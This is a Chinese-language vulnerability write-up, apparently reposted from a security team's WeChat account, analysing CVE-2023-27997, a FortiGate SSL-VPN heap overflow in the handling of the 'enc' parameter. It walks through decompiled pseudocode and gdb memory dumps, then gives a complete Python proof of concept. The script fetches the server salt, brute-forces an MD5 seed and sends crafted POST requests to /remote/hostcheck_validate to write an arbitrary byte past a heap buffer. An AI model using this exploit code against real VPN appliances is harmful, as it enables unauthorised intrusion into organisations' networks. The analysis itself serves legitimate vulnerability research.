招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组
前言
复现完 CVE-2022-42475之后,便关注到了此漏洞。这是一个由于边界大小判断不当,从而导致的一个堆上越界写的漏洞,可实现任意命令执行。由于笔者的逆向能力不是很好,本漏洞也是跟着其他师傅的博客复现而成,如果本文中的描述有什么不准确的地方,还请各位师傅海涵。
漏洞分析
漏洞出现在 sslvpn对 enc参数处理的函数中,这里把他重命名为 parse_enc_data。
v22 = find_header(*(_QWORD *)(v11 + 744), (const char *)&byte_3347915);
if ( v22 && (int)parse_enc_data(v11, a1, v22) < 0 )
{
log___(v11, 8LL, (__int64)"could not decode 'enc' data properly.");
v16 = 4100;
LABEL_20:
if ( *((__int64 *)v19 + 405) > 0 )
sub_16FD7E0(*a1, v19 + 3240);
sprintf(v97, "/remote/error?msg=%d", v16);
.rodata:0000000003347915 65 byte_3347915 db 'e' ; DATA XREF: sub_1729160+6F↑o .rodata:0000000003347915 ; sub_17300E0+1B7↑o ...
.rodata:0000000003347916 6E db 'n'
.rodata:0000000003347917 63 db 'c'
函数中,先是判断了 enc的长度是否大于 11并且是否是偶数。如果 enc的长度大于 11并且是偶数才会进行接下来进一步的处理。
__int64 __fastcall parse_enc_data(__int64 a1, __int64 *pool, const char *enc)
{
...
v25 = __readfsqword(0x28u);
v4 = strlen(enc);
enc_raw_len = v4;
v19 = v4;
if ( v4 <= 11 || (v4 & 1) != 0 )
{
log___(a1, 8LL, (__int64)"enc data length invalid (%d)n", (unsigned int)v4);
return 0xFFFFFFFFLL;
}
接着是用 md5对密钥流进行初始化。其中 salt由服务器产生,可通过请求 /remote/info获取到它的值,enc的前八个字节由我们控制,还有一个固定的字符串。接着根据 (enc_raw_len >> 1) + 1 分配缓冲区。并对 enc传入的数据进行处理,并赋值到分配的堆上。具体处理方式就是将原来传进来的字符串,以两个字节的 ascii看成一个新的字节。比如传进来的是 **”010203040506abcdefgh”**字符串,那么就会转为 **”x01x02x03x04x05x06xabxcdxefxgh”**储存到堆上,并在末尾置零。这大概也就是为什么之前分配空间时,以输入长度的 1/2进行分配的原因。
sub_17318E0(salt, (__int64)enc, 8, (__int64)md5);
ptr = (const char *)sub_16D1AC0(*pool, (enc_raw_len >> 1) + 1);
if ( ptr )
{
v5 = 0LL;
do
{
v6 = sub_175BD40(enc[2 * v5]);
ptr[v5] = sub_175BD40(enc[2 * v5 + 1]) + 16 * v6;
++v5;
}
while ( v19 > 2 * (int)v5 );
v7 = ((unsigned int)(enc_raw_len - 1) >> 1) + 1;
if ( enc_raw_len <= 0 )
v7 = 1;
ptr[v7] = 0;
unsigned __int64 __fastcall sub_17318E0(char *salt, __int64 enc, int len, __int64 md5)
{
__int64 v6; // rax
char v8[104]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v9; // [rsp+68h] [rbp-28h]
v9 = __readfsqword(0x28u);
MD5_Init(v8);
v6 = strlen(salt);
MD5_Update((__int64)v8, (__int64)salt, v6);
MD5_Update((__int64)v8, enc, len);
MD5_Update((__int64)v8, (__int64)"GCC is the GNU Compiler Collection.", 35LL);
MD5_Final(md5, (__int64)v8);
return v9 - __readfsqword(0x28u);
}
(gdb) x/s 0x7f20df4decf8
0x7f20df4decf8: "010203040506abcdefgh"
(gdb) x/20bx 0x7f20df4decf8
0x7f20df4decf8: 0x30 0x31 0x30 0x32 0x30 0x33 0x30 0x34
0x7f20df4ded00: 0x30 0x35 0x30 0x36 0x61 0x62 0x63 0x64
0x7f20df4ded08: 0x65 0x66 0x67 0x68
(gdb) x/20bx 0x7f20df4ded10
0x7f20df4ded10: 0x01 0x02 0x03 0x04 0x05 0x06 0xab 0xcd
0x7f20df4ded18: 0xef
接下来解密部分的伪代码我感觉是IDA反编译有问题(或者是笔者逆向功底不够)。根据汇编,笔者认为三处加了注释的地方均有问题,正确的伪代码应该如注释所示。也就是enc_raw_len-5与 real_size进行比较。判断的是 raw_size经过 xor之后得到的 real_size是否存在。并且循环次数是 real_size – 1。所以这里就会存在一个堆溢出。因为是通过 (enc_raw_len >> 1) + 1分配的堆空间,而解密的循环次数(real_size)则可以完全被我们控制,并且只要满足 enc_raw_len-5>real_size即可。也就是只要满足 (enc_raw_len >> 1) + 1<real_size<enc_raw_len-5,就可以实现堆上越界写。
raw_size = *((_WORD *)v8 + 2);
real_size = (unsigned __int8)(raw_size ^ md5[0]);
BYTE1(real_size) = md5[1] ^ HIBYTE(raw_size);
if(enc_raw_len - 5 <= (unsigned __int8)(raw_size ^ md5[0]) ) //enc_raw_len-5<=real_size
{
...
}
...
data_ptr = v8 + 6;
ptr = data_ptr;
if ( (unsigned __int8)raw_size != md5[0] ) // if (real_size)
{
real_size_1 = (unsigned int)(unsigned __int8)(raw_size ^ md5[0]) - 1;
// real_size_1 = real_size - 1;
cnt = 0LL;
v15 = 2;
while ( 1 )
{
data_ptr[cnt] ^= md5[v15]; // bof
if ( real_size_1 == cnt )
break;
v15 = ((_BYTE)cnt + 3) & 0xF;
if ( (((_BYTE)cnt + 3) & 0xF) == 0 )
{
v20 = real_size;
MD5_Init(v23);
MD5_Update((__int64)v23, (__int64)md5, 16LL);
MD5_Final((__int64)md5, (__int64)v23);
real_size = v20;
}
data_ptr = ptr;
++cnt;
}
data_ptr = &ptr[(unsigned __int16)real_size];
}
*data_ptr = 0;
.text:0000000001731714 48 83 C2 06 add rdx, 6
.text:0000000001731718 48 89 95 40 FF FF FF mov [rbp+ptr], rdx
.text:000000000173171F 45 85 C0 test r8d, r8d
.text:0000000001731722 0F 84 87 00 00 00 jz loc_17317AF
.text:0000000001731728 45 8D 68 FF lea r13d, [r8-1]
漏洞利用
这里的异或会导致前面的数据被污染,同时原作者也提供了一种很好的思路。即利用二次异或值不变的特性,加上末尾置零的特性,来实现向后越界写任意数据。作者给出的例子是在溢出偏移为 5000的位置上写 x50。计算出所需的 seed后。第一次来实现末尾置零,第二次恢复前面数据的同时,也成功把偏移为 5000的地方改成了 x50。
我利用该思路,尝试把溢出偏移为 0x10的值改为 0xaa。我申请的堆块大小为 0xfe8,溢出偏移为 0x10处应该是 0x7f20de80a010,可以发现被成功修改为 0xaa。接着循环利用此方式,即可实现写任意长度数据。
(gdb) i r rsi
rsi 0xfe8 4072
(gdb) ni
0x000000000173164e in ?? ()
(gdb) i r rax
rax 0x7f20de809018 139779148648472
(gdb) x/10gx 0x7f20de809018
0x7f20de809018: 0x565f15f46de5e4e9 0xd60a439f3f849e41
0x7f20de809028: 0x8e8abb7027401e05 0xcf46b2988c0117ee
0x7f20de809038: 0x772fe4c73b4664a1 0xb1087fe34b7b5a7b
0x7f20de809048: 0x90ac9ccd1e18d43f 0xbc94283552ba72f5
0x7f20de809058: 0x35d4acf803fde83a 0x913d36fe9630a124
...
(gdb) x/10gx 0x7f20de809018+0xfe8
0x7f20de80a000: 0x0000000000000000 0x0000000000000000
0x7f20de80a010: 0x00000000000000aa 0x0000000000000000
0x7f20de80a020: 0x0000000000000000 0x0000000000000000
0x7f20de80a030: 0x0000000000000000 0x0000000000000000
0x7f20de80a040: 0x0000000000000000 0x0000000000000000
剩下的则是如何控制程序执行流,这与之前写过的CVE-2022-42475大同小异,在此则不过多叙述。最后给出写一字节的 poc。
import ssl
import time
import socket
import struct
import hashlib
IP = "192.168.229.163"
PORT = 4443
p32 = lambda x: struct.pack("<I", x)
def create_ssl_socket(_ip, _port):
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((_ip, _port))
_context = ssl._create_unverified_context()
_ssl_socket = _context.wrap_socket(_socket)
return _ssl_socket
class Expliot(object):
def __init__(self, _ip, _port):
self.ip = _ip
self.port = _port
self.salt = None
def get_salt(self, _socket):
_request = """GET /remote/info HTTP/1.1rnHost: %s:%drnConnection: closernrn""" % (self.ip, self.port)
_socket.sendall(_request.encode())
if b"salt" not in (salt := _socket.recv(1024)):
print("[-] Get salt fault")
exit(0)
self.salt = salt[salt.find(b"salt")+6:salt.find(b"salt")+14]
def calc_packet_data_size(self, _size):
self.BLOCK_HEAD = 0x18
self.PACKET_SIZE = _size
self.DISTANCE = self.PACKET_SIZE - self.BLOCK_HEAD - 6
alloc_size = self.PACKET_SIZE
alloc_size -= self.BLOCK_HEAD
# target = (inlen >> 1) + 1
inlen = (alloc_size - 1) << 1
# inlen consists of a header of size 12 followed by the data in hexa
inlen_data = inlen - 12
inlen_unhex = inlen_data >> 1
self.packet_data_size = inlen_unhex
def calc_md5(self, _seed):
assert len(_seed) == 8
return hashlib.md5(self.salt + _seed + b"GCC is the GNU Compiler Collection.").digest()
def create_payload(self, size=None, _seed="00000000"):
md5 = self.calc_md5(_seed.encode())
# print(md5)
max_size = self.packet_data_size * 2
if size is None:
size = max_size
elif size > max_size:
print("create_payload: size > max_size")
exit(0)
len_high = (size >> 8) ^ md5[1]
len_low = (size & 0xFF) ^ md5[0]
data = bytes((len_low, len_high)) + b"1" * self.packet_data_size
print(hex(size))
print(hex(size & 0xFF))
print(hex(size >> 8))
payload = _seed + data.hex()
return payload
def get_seed_for_md5_byte(self, pos, value):
distance = self.DISTANCE + pos
distance += 2
MD5_LEN = 16
rounds, offset = divmod(distance, MD5_LEN)
print(self.DISTANCE)
print(divmod(distance, MD5_LEN))
md5 = hashlib.md5
for _seed in range(2**24):
_seed = "00" + p32(_seed)[:3].hex()
hash = self.calc_md5(_seed.encode())
keystream = hash
for i in range(rounds):
hash = md5(hash).digest()
keystream += hash
if hash[offset] == value:
print(_seed)
print(keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1].hex())
return _seed, keystream[self.DISTANCE + 2 : self.DISTANCE + 2 + pos + 1]
print("[-] unable to get seed")
exit(0)
def send_payload(self, _sock, _data):
_data = "ajax=1&username=asdf&realm=&enc=%s" % _data
if len(_data) > 0x10000:
print("[-] payload too long")
exit(0)
_request = """POST /remote/hostcheck_validate HTTP/1.1rnHost: %s:%drnUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0rnContent-Type: text/plain;charset=UTF-8rnConnection: keep-alivernContent-Length: %drnrn%s""" % (self.ip, self.port, len(_data), _data)
# print(_request)
_sock.sendall(_request.encode())
_responce = _sock.recv(2048)
if __name__ == '__main__':
exp = Expliot(IP, PORT)
salt_sock = create_ssl_socket(IP, PORT)
exp.get_salt(salt_sock)
salt_sock.close()
print(exp.salt)
exp.calc_packet_data_size(0x1000)
# print(hex(exp.packet_data_size))
payload = exp.create_payload()
sock = create_ssl_socket(IP, PORT)
offset = 0x10
value = 0xaa
seed, _ = exp.get_seed_for_md5_byte(offset, value)
payload = exp.create_payload(exp.DISTANCE+offset, seed)
exp.send_payload(sock, payload)
payload = exp.create_payload(exp.DISTANCE+offset+1, seed)
exp.send_payload(sock, payload)
sock.close()
参考链接
https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html
https://labs.watchtowr.com/xortigate-or-cve-2023-27997/
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
– END –
原文始发于微信公众号(ChaMd5安全团队):CVE-2023-27997 FortiGate SSLVPN HeapOverflow 漏洞分析